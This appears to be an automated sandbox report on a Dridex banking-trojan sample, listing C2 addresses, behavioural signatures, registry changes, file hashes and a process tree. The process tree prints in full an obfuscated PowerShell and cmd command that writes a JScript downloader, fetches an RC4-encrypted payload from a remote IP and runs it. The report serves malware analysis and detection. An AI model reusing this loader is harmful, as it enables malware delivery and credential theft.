dridex | hxxps://anklexit[.]online/twDGMjtfsacfa3e

General

Target

https://anklexit.online/twDGMjtfsacfa3e
Sample

210212-18pwhcyg96

Score

10^/10

dridex 10111 botnet cryptone discovery evasion loader packer trojan

Malware Config

Extracted

Family

dridex

Botnet

10111

C2

188.165.17.91:8443

185.216.27.185:8172

182.254.209.230:6516

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 2484 created 1864 2484 WerFault.exe IEXPLORE.EXE

description	pid	process	target process
PID 2484 created 1864	2484	WerFault.exe	IEXPLORE.EXE

CryptOne packer 2 IoCs

Detects CryptOne packer defined in NCC blogpost.

cryptone packer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\wprnq.exe	cryptone
C:\Users\Admin\AppData\Local\Temp\wprnq.exe	cryptone

Dridex Loader 2 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral1/memory/4072-29-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr
behavioral1/memory/4072-31-0x0000000000400000-0x000000000043D000-memory.dmp	dridex_ldr

Blocklisted process makes network request 1 IoCs

Processes:

wscript.exe

flow pid process

25 2664 wscript.exe
Executes dropped EXE 1 IoCs

Processes:

wprnq.exe

pid process

4072 wprnq.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

wprnq.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA wprnq.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2484 1864 WerFault.exe IEXPLORE.EXE
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
25	2664	wscript.exe

pid	process
4072	wprnq.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	wprnq.exe

pid	pid_target	process	target process
2484	1864	WerFault.exe	IEXPLORE.EXE

Modifies Internet Explorer settings 1 TTPs 18 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{E4D21619-6CC5-11EB-BEBD-CEBC74F2412D} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "3112617489"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "3112462599"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30867666"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30867666"	iexplore.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

WerFault.exePowerShell.exe

pid	process
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
2484	WerFault.exe
1428	PowerShell.exe
1428	PowerShell.exe
1428	PowerShell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

WerFault.exePowerShell.exe

description	pid	process
Token: SeRestorePrivilege	2484	WerFault.exe
Token: SeBackupPrivilege	2484	WerFault.exe
Token: SeDebugPrivilege	2484	WerFault.exe
Token: SeDebugPrivilege	1428	PowerShell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

1152 iexplore.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid process

1152 iexplore.exe
1152 iexplore.exe
1864 IEXPLORE.EXE
1864 IEXPLORE.EXE

pid	process
1152	iexplore.exe

pid	process
1152	iexplore.exe
1152	iexplore.exe
1864	IEXPLORE.EXE
1864	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

iexplore.exeIEXPLORE.EXEPowerShell.execmd.exewscript.execmd.exe

description	pid	process	target process
PID 1152 wrote to memory of 1864	1152	iexplore.exe	IEXPLORE.EXE
PID 1152 wrote to memory of 1864	1152	iexplore.exe	IEXPLORE.EXE
PID 1152 wrote to memory of 1864	1152	iexplore.exe	IEXPLORE.EXE
PID 1864 wrote to memory of 1428	1864	IEXPLORE.EXE	PowerShell.exe
PID 1864 wrote to memory of 1428	1864	IEXPLORE.EXE	PowerShell.exe
PID 1864 wrote to memory of 1428	1864	IEXPLORE.EXE	PowerShell.exe
PID 1428 wrote to memory of 676	1428	PowerShell.exe	cmd.exe
PID 1428 wrote to memory of 676	1428	PowerShell.exe	cmd.exe
PID 1428 wrote to memory of 676	1428	PowerShell.exe	cmd.exe
PID 676 wrote to memory of 2664	676	cmd.exe	wscript.exe
PID 676 wrote to memory of 2664	676	cmd.exe	wscript.exe
PID 676 wrote to memory of 2664	676	cmd.exe	wscript.exe
PID 2664 wrote to memory of 2788	2664	wscript.exe	cmd.exe
PID 2664 wrote to memory of 2788	2664	wscript.exe	cmd.exe
PID 2664 wrote to memory of 2788	2664	wscript.exe	cmd.exe
PID 2788 wrote to memory of 4072	2788	cmd.exe	wprnq.exe
PID 2788 wrote to memory of 4072	2788	cmd.exe	wprnq.exe
PID 2788 wrote to memory of 4072	2788	cmd.exe	wprnq.exe

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" https://anklexit.online/twDGMjtfsacfa3e
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1152

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1152 CREDAT:82945 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
((((\..\PowerShell.exe -Command "<#AAAAAAAAAAAAAAAAAAAAAAAAA ((#>$a = ""Start-Process cmd.exe `"""cmd.exe /q /c cd /d "%tMp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://188.227.59.226/?NTUwNzg=^&kSVsrPUyc^&oa1n4=xH3QMrXYbRvFFYHfLf_KRqZbNUv^&s2ht4=RGUKVxoqbk63PE5qpZDLGpbf1DB6gqVmAH1m-t_B0erFOfQC5zUawegYymopbVllG9qqm30LWmBWe0pTUqxaFYQ4X_ZHBQbI50Fn0zLUdc88gwhLQ6GVU_OkcVlkQ5A4jwaqLFaL5^&NDmMjY3Nw== "1"`"""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1428

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" cmd.exe /q /c cd /d %tMp% && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y['set'+'Proxy'](n);y.open('GET',k(1),1);y.Option(n)=k(2);y.send();y/*XASX1ASXASS*/['Wait'+'ForResponse']();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e['cha'+'rCodeAt'](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join('')};try{var u=WScript.Echo(),o='Object',A=Math,a=Function('b','return WScript.Create'+o+'(b)');P=(''+WScript).split(' ')[1],M='indexOf',q=a(P+'ing.FileSystem'+o),m=WScript.Arguments,e='WinHTTP',Z='cmd',Q=a('WinHttp.WinHttpRequest.5.1'),j=a('W'+P+'.Shell'),s=a('ADODB.Stream'),x=O(8)+'.',p='exe',n=0,K=WScript[P+'FullName'],E='.'+p;s.Type=2;s.Charset='iso-8859-1';s.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]('PE\x00\x00'));s.WriteText(v);if(31^<d){var z=1;x+='dll'}else x+=p;s.savetofile(x,2);s.Close();z^&^&(x='regsvr'+32+E+' /s '+x);j.run(Z+E+' /c '+x,0)}catch(xXASXASSAA){};q.Deletefile(K);>3.tMp && stArt wsCripT //B //E:JScript 3.tMp cvbdfg http://188.227.59.226/?NTUwNzg=^&kSVsrPUyc^&oa1n4=xH3QMrXYbRvFFYHfLf_KRqZbNUv^&s2ht4=RGUKVxoqbk63PE5qpZDLGpbf1DB6gqVmAH1m-t_B0erFOfQC5zUawegYymopbVllG9qqm30LWmBWe0pTUqxaFYQ4X_ZHBQbI50Fn0zLUdc88gwhLQ6GVU_OkcVlkQ5A4jwaqLFaL5^&NDmMjY3Nw== 1
4⤵
- Suspicious use of WriteProcessMemory
PID:676

C:\Windows\SysWOW64\wscript.exe
wsCripT //B //E:JScript 3.tMp cvbdfg http://188.227.59.226/?NTUwNzg=&kSVsrPUyc&oa1n4=xH3QMrXYbRvFFYHfLf_KRqZbNUv&s2ht4=RGUKVxoqbk63PE5qpZDLGpbf1DB6gqVmAH1m-t_B0erFOfQC5zUawegYymopbVllG9qqm30LWmBWe0pTUqxaFYQ4X_ZHBQbI50Fn0zLUdc88gwhLQ6GVU_OkcVlkQ5A4jwaqLFaL5&NDmMjY3Nw== 1
5⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2664

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c wprnq.exe
6⤵
- Suspicious use of WriteProcessMemory
PID:2788

C:\Users\Admin\AppData\Local\Temp\wprnq.exe
wprnq.exe
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1864 -s 2824
3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2484

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\3.tMp
MD5
88acae3e364010e82fb022c29ab69c9d

SHA1
043f08caaf36d317c60977dd9bdaa2be62ed54a0

SHA256
f14c7ba0240be3456164dd63f53dd4bc7eb34bcdb1ac26e98a623edc0390b56b

SHA512
38283522ffc8d6026c6298b3405f4274c833f3bf36d96648c0030d3aacea1a61553cea20ec0307ab6711e77ca5aadb4a7db308ed942434d5c8cf0733a3a4b27c

Download Submit
C:\Users\Admin\AppData\Local\Temp\wprnq.exe
MD5
86954f76b5c0fbb1cb6ea492711869e2

SHA1
081e3460fc0c6e6e6cd1b17b4a8f6b949a88db02

SHA256
ffd6ae5e716b2cade6d3365fb9440a5a67f37d3c249d78bdea9e5ef3d39ce52c

SHA512
4b77cff3caf6966c50bcde7185173ae5c536058e1cd29d05bf439b6021572d856e40af547f22270c7c91bd13aaf3f76941eab9bc298a52724e965067d9825e69

Download Submit
C:\Users\Admin\AppData\Local\Temp\wprnq.exe
MD5
86954f76b5c0fbb1cb6ea492711869e2

SHA1
081e3460fc0c6e6e6cd1b17b4a8f6b949a88db02

SHA256
ffd6ae5e716b2cade6d3365fb9440a5a67f37d3c249d78bdea9e5ef3d39ce52c

SHA512
4b77cff3caf6966c50bcde7185173ae5c536058e1cd29d05bf439b6021572d856e40af547f22270c7c91bd13aaf3f76941eab9bc298a52724e965067d9825e69

Download Submit
memory/676-21-0x0000000000000000-mapping.dmp

Download
memory/1428-16-0x00000000084C0000-0x00000000084C1000-memory.dmp

Filesize
4KB

Download
memory/1428-19-0x0000000009220000-0x0000000009221000-memory.dmp

Filesize
4KB

Download
memory/1428-8-0x0000000007420000-0x0000000007421000-memory.dmp

Filesize
4KB

Download
memory/1428-9-0x0000000006EC0000-0x0000000006EC1000-memory.dmp

Filesize
4KB

Download
memory/1428-11-0x0000000007D10000-0x0000000007D11000-memory.dmp

Filesize
4KB

Download
memory/1428-10-0x0000000006EC2000-0x0000000006EC3000-memory.dmp

Filesize
4KB

Download
memory/1428-12-0x0000000007B30000-0x0000000007B31000-memory.dmp

Filesize
4KB

Download
memory/1428-13-0x0000000007E20000-0x0000000007E21000-memory.dmp

Filesize
4KB

Download
memory/1428-14-0x0000000007BC0000-0x0000000007BC1000-memory.dmp

Filesize
4KB

Download
memory/1428-15-0x0000000008600000-0x0000000008601000-memory.dmp

Filesize
4KB

Download
memory/1428-3-0x0000000000000000-mapping.dmp

Download
memory/1428-17-0x0000000009460000-0x0000000009461000-memory.dmp

Filesize
4KB

Download
memory/1428-18-0x00000000091D0000-0x00000000091D1000-memory.dmp

Filesize
4KB

Download
memory/1428-7-0x0000000007500000-0x0000000007501000-memory.dmp

Filesize
4KB

Download
memory/1428-20-0x0000000009A00000-0x0000000009A01000-memory.dmp

Filesize
4KB

Download
memory/1428-6-0x0000000006E10000-0x0000000006E11000-memory.dmp

Filesize
4KB

Download
memory/1428-22-0x0000000006EC3000-0x0000000006EC4000-memory.dmp

Filesize
4KB

Download
memory/1428-5-0x000000006E1A0000-0x000000006E88E000-memory.dmp

Filesize
6.9MB

Download
memory/1864-2-0x0000000000000000-mapping.dmp

Download
memory/2484-4-0x0000000004FC0000-0x0000000004FC1000-memory.dmp

Filesize
4KB

Download
memory/2664-23-0x0000000000000000-mapping.dmp

Download
memory/2788-25-0x0000000000000000-mapping.dmp

Download
memory/4072-26-0x0000000000000000-mapping.dmp

Download
memory/4072-29-0x0000000000400000-0x000000000043D000-memory.dmp

Filesize
244KB

Download
memory/4072-30-0x00000000008B0000-0x00000000008EC000-memory.dmp

Filesize
240KB

Download
memory/4072-31-0x0000000000400000-0x000000000043D000-memory.dmp

Filesize
244KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads